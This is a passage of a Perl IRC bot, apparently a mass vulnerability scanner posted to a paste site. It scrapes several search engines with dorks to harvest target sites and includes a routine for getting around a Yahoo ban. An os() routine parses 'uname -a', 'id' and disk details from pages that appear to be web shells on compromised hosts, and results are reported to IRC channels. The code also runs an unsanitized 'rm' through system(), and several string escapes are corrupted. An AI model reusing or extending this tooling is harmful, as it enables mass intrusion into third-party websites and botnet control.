  828.     my $ytest = ("http://www.search.yahoo.com/search?p=hello&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=1");
  829.     my $ret = query($ytest);
  830.     if ($ret =~ /We did not find results for/) {
  831.         return @ysites;
  832.     }
  833.     elsif ($ret =~ /title="Yahoo! Search results for hello\"/) {
  834.         @ysites = yfind($key,$name);
  835.         return @ysites;
  836.     }
  837.     else {
  838.         writ1("14[15!14]4 Banned 6by Yahoo Engine, trying to bypass it !");
  839.         @ysites = ybypass($key,$name);
  840.         return @ysites;
  841.     }
  842. }
  843.  
  844. sub yfind() {
  845.     my @lst;
  846.     my $key  = $_[0];
  847.     my $name = $_[1];
  848.         for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
  849.             my $ylink = ( "http://search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
  850.             my $re = query($ylink);
  851.             while ( $re =~ m/<a class="yschttl\" href=\"http:\/\/(.+?)\" >/g ) {
  852.                 my $k = $1;
  853.                 if ($k !~ /yahoo|<b>/) {
  854.                     my @grep = links($k);
  855.                     open( $filez, ">>", $name );
  856.                     foreach my $k (@grep) {
  857.                         print $filez "$kn";
  858.                     }
  859.                     close $filez;
  860.                     push( @lst, @grep );
  861.                 }
  862.             }
  863.         }
  864.     return @lst;
  865. }  
  866.  
  867. sub ybypass () { # GoodSearch uses the same search type of Yahoo
  868.     my @lst;
  869.     my $key  = $_[0];
  870.     my $name = $_[1];
  871.     my $ybytest = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&page=1&osmax=16");
  872.     my $res = query($ybytest);
  873.     if ($res =~ /Your search did not yield any results/){
  874.         return @lst;
  875.     }
  876.     else {
  877.         for $p(1..50){
  878.             my $ybylink = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&page=".$p."&osmax=16");
  879.             my $rek = query($ybylink);
  880.             while ($rek =~ m/href="(.+?)\">(.+?)<\/a>/g) {
  881.                 my $tsite = $2;
  882.                 if (($tsite =~ /\./) && ($tsite !~ /<|>| /)){
  883.                     my @grep = links($tsite);
  884.                     open( $filez, ">>", $name );
  885.                     foreach my $tsite (@grep) {
  886.                         print $filez "$tsiten";
  887.                     }
  888.                     close $filez;
  889.                     push( @lst, @grep );    
  890.                 }        
  891.             }
  892.         }
  893.         return @lst;
  894.     }
  895. }  
  896.  
  897.  
  898. sub ask () {
  899.     my $key = $_[0];  
  900.     my $name = $_[1];
  901.     my @lst;
  902.     my $askt = ("http://it.ask.com/web?q=".key($key)."&qsrc=1&o=312&l=dir&dm=all");
  903.     my $asktest = query($askt);
  904.     if ($asktest =~ /non ha prodotto alcun risultato/) {
  905.         return @lst;
  906.     }
  907.     else {
  908.         for ($p=0;$p<=20;$p++){
  909.             my $asklink = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=612B74535B00F6CA7678625658F9B98C&dm=all&page=".$p);
  910.             my $re = query($asklink);
  911.             while($re =~ m/href="http:\/\/(.+?)\"/g){
  912.                 my $tsite = $1;
  913.                 if ($tsite !~ /ask|wikipedia/){
  914.                     my @grep = links($tsite);
  915.                     open( $filez, ">>", $name );
  916.                     foreach my $tsite (@grep) {
  917.                         print $filez "$tsiten";
  918.                     }
  919.                     close $filez;
  920.                     push( @lst, @grep );
  921.                 }
  922.             }
  923.         }
  924.         return @lst;
  925.     }
  926. }
  927.  
  928. sub aol () {
  929.     my $key = $_[0];  
  930.     my $name = $_[1];
  931.     my @lst;
  932.     my $aolt = ("http://search.aol.com/aol/search?invocationType=topsearchbox.search&query=".key($key));
  933.     my $atest = query($aolt);
  934.     if ($atest =~ /returned no results.</h3>/) {
  935.         return @lst;
  936.     }
  937.     else {
  938.         for ($p=1;$p<=100;$p++){
  939.             my $aollink = ("http://search.aol.com/aol/search?query=".key($key)."&page=".$p."&nt=SG2&do=Search&invocationType=comsearch30&clickstreamid=3154480101243260576");
  940.             my $re = query($aollink);
  941.             while($re =~ m/<p class="durl find\" property=\"f:durl\">(.+?)\n-/g) {
  942.                 my $tsite = $1;
  943.                 my @grep = links($tsite);
  944.                 open( $filez, ">>", $name );
  945.                 foreach my $tsite (@grep) {
  946.                     print $filez "$tsiten";
  947.                 }
  948.                 close $filez;
  949.                 push( @lst, @grep );
  950.             }
  951.         }
  952.     return @lst;
  953.     }
  954. }      
  955.  
  956. sub dmoz () {
  957.     my $key = $_[0];  
  958.     my $name = $_[1];
  959.     my @lst;
  960.     my $dmtest = ("http://search.dmoz.org/cgi-bin/search?search=".key($key));
  961.     my $dmq = query($dmtest);
  962.     if ($dmq =~ /No <b><a href="http:\/\/dmoz.org\/\">Open Directory Project<\/a><\/b> results found/){
  963.         return @lst;
  964.     }
  965.     elsif ($dmq =~ /of (.+?)\)<p>/){
  966.         my $ftot = $1;
  967.         if ($ftot <= 20) {
  968.             $max = 1;
  969.         }
  970.         else {
  971.             my $to = $ftot / 20;
  972.             if ($to =~ /(.+).(.+?)/){
  973.                 $uik = $1 * 20;
  974.                 $max = $uik +1;
  975.             }
  976.             elsif ($to =~ /[0-9]/) {
  977.                 my $to--;
  978.                 my $rej = $to * 20;
  979.                 $max = $rej +1;
  980.             }
  981.         }    
  982.     }    
  983.     for ($p=1;$p<=$max;$p += 20){
  984.         my $dmozlink = ("http://search.dmoz.org/cgi-bin/search?search=".key($key)."&utf8=1&locale=it_it&start=".$p);
  985.         my $re = query($dmozlink);
  986.         if ($re =~ /">Next<\/a>/) {
  987.             while($re =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  988.                 my $tsite = $1;
  989.                 if ($tsite !~ /dmoz/){
  990.                     my @grep = links($tsite);
  991.                     open( $filez, ">>", $name );
  992.                     foreach my $tsite (@grep) {
  993.                         print $filez "$tsiten";
  994.                     }
  995.                     close $filez;
  996.                     push( @lst, @grep );
  997.                 }
  998.             }
  999.         }
  1000.     }
  1001.     return @lst;
  1002. }
  1003.  
  1004. sub webde () {
  1005.     my $key = $_[0];  
  1006.     my $name = $_[1];
  1007.     my @lst;
  1008.     for $p(1..50){
  1009.         my $webdelink = ("http://suche.web.de/search/web/?pageIndex=".$p."&su=".key($key)."&y=0&x=0&mc=suche@web@[email protected]@web");
  1010.         my $re = query($webdelink);
  1011.         while($re =~ m/href="http:\/\/(.+?)\">/g) {
  1012.             my $tsite = $1;
  1013.             if ($tsite !~ /\/search\/web|web.de|\" class=\"neww\"/){
  1014.                 my @grep = links($tsite);
  1015.                 open( $filez, ">>", $name );
  1016.                 foreach my $tsite (@grep) {
  1017.                     print $filez "$tsiten";
  1018.                 }
  1019.                 close $filez;
  1020.                 push( @lst, @grep );
  1021.             }
  1022.         }
  1023.     }
  1024.     return @lst;
  1025. }
  1026.  
  1027. sub einet () {
  1028.     my $key = $_[0];  
  1029.     my $name = $_[1];
  1030.     my @lst;
  1031.     my $einetest = ("http://www.einet.net/view/search.gst?p=1&k=".key($key)."&s=0&submit=Search");
  1032.     my $einet3st = query($einetest);
  1033.     if ($einet3st =~ /<span class=nPage>Page 1 ofs+(.+?)</span>/){
  1034.         my $totz = $1;
  1035.         for ($p=1;$p<=$totz;$p++){
  1036.             my $einetlink = ("http://www.einet.net/view/search.gst?p=".$p."&k=".key($key)."&s=0&submit=Search");
  1037.             my $re = query($einetlink);
  1038.             while($re =~ m/<span class=url2>s+(.+?)</span>/g) {
  1039.                 my $tsite = $1;
  1040.                 my @grep = links($tsite);
  1041.                 open( $filez, ">>", $name );
  1042.                 foreach my $tsite (@grep) {
  1043.                     print $filez "$tsite\n";
  1044.                 }
  1045.                 close $filez;
  1046.                 push( @lst, @grep );
  1047.             }
  1048.         }
  1049.     }
  1050.     return @lst;
  1051. }
  1052.  
  1053.  
  1054. sub remove() {
  1055.     my $file = $_[0];
  1056.     system("rm $file");
  1057. }
  1058.  
  1059. sub clean () {
  1060.     $dork = $_[0];
  1061.     if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
  1062.         writ1("15,1[+] 4,1Cleaning Dork from Google Search Keys !");
  1063.         $dork =~ s/^inurl://g;
  1064.         $dork =~ s/^allinurl://g;
  1065.         $dork =~ s/^intext://g;
  1066.         $dork =~ s/^allintext://g;
  1067.         $dork =~ s/^intitle://g;
  1068.         $dork =~ s/^allintitle://g;
  1069.     }
  1070.     return $dork;
  1071. }
  1072.  
  1073. sub key() {
  1074.     my $dork = $_[0];
  1075.     $dork =~ s/ /+/g;
  1076.     $dork =~ s/:/%3A/g;
  1077.     $dork =~ s///\%2F/g;
  1078.     $dork =~ s/&/%26/g;
  1079.     $dork =~ s/"/\%22/g;
  1080.     $dork =~ s/,/\%2C/g;
  1081.     $dork =~ s/\\/\%5C/g;
  1082.     return $dork;
  1083. }
  1084.  
  1085. sub links() {
  1086.     my @l;
  1087.     my $link = $_[0];
  1088.     my $host = $_[0];
  1089.     my $hdir = $_[0];
  1090.     $hdir =~ s/(.*)\/[^\/]*$/\1/;
  1091.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1092.     $host .= "/";
  1093.     $link .= "/";
  1094.     $hdir .= "/";
  1095.     $host =~ s/\/\//\//g;
  1096.     $hdir =~ s/\/\//\//g;
  1097.     $link =~ s/\/\//\//g;
  1098.     push( @l, $link, $host, $hdir );
  1099.     return @l;
  1100. }
  1101.  
  1102. sub query() {
  1103.     $link = $_[0];
  1104.     my $req = HTTP::Request->new( GET => $link );
  1105.     my $ua = LWP::UserAgent->new();
  1106.     $ua->timeout(3);
  1107.     my $response = $ua->request($req);
  1108.     return $response->content;
  1109. }
  1110.  
  1111. sub query1() {
  1112.     my $url = $_[0];
  1113.     my $host  = $url;
  1114.     my $query = $url;
  1115.     $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1116.     $query =~ s/$host//;
  1117.     eval {
  1118.         my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
  1119.         print $sock "GET $query HTTP/1.0rnHost: $hostrnAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1120.         my @r = <$sock>;
  1121.         $page = "@r";
  1122.         close($sock);
  1123.     };
  1124.     return $page;
  1125. }
  1126.  
  1127. sub os() {
  1128.     my $site = $_[0];
  1129.     my $ret  = &query($site);
  1130.     while ( $ret =~ m/<br>uname -a:(.+?)\<br>/g ) {
  1131.         $un = $1;
  1132.     }
  1133.     while ( $ret =~ m/<br>os:(.+?)\<br>/g ) {
  1134.         $os = $1;
  1135.     }
  1136.     while ( $ret =~ m/<br>id:(.+?)\<br>/g ) {
  1137.         $id1 = $1;
  1138.     }
  1139.     while ( $ret =~ m/<br>free:(.+?)\<br>/g ) {
  1140.         $free = $1;
  1141.     }
  1142.     while ( $ret =~ m/<br>used:(.+?)\<br>/g ) {
  1143.         $used = $1;
  1144.     }
  1145.     while ( $ret =~ m/<br>total:(.+?)\<br>/g ) {
  1146.         $all = $1;
  1147.     }
  1148. }
  1149.  
  1150. sub unici {
  1151.     my @unici = ();
  1152.     my %visti = ();
  1153.     foreach my $elemento (@_) {
  1154.         $elemento =~ s/\/+/\//g;
  1155.         next if $visti{$elemento}++;
  1156.         push @unici, $elemento;
  1157.     }
  1158.     return @unici;
  1159. }
  1160.        
  1161.  
  1162. sub writ1 () {
  1163.     my $cont = $_[0];
  1164.     print $c0n "PRIVMSG $chan1 :$cont\n";
  1165. }
  1166.  
  1167. sub writ2 () {
  1168.     my $cont = $_[0];
  1169.     print $c0n "PRIVMSG $chan2 :$cont\n";
  1170. }
  1171.  
  1172. sub priv8 () {
  1173.     my $cont = $_[0];
  1174.     print $c0n "PRIVMSG $chan2 :$cont\n";
  1175. }
  1176.  
  1177.  
  1178. ## PRIVATE SYSTEM Turks ;D
Add Comment
Please, Sign In to add comment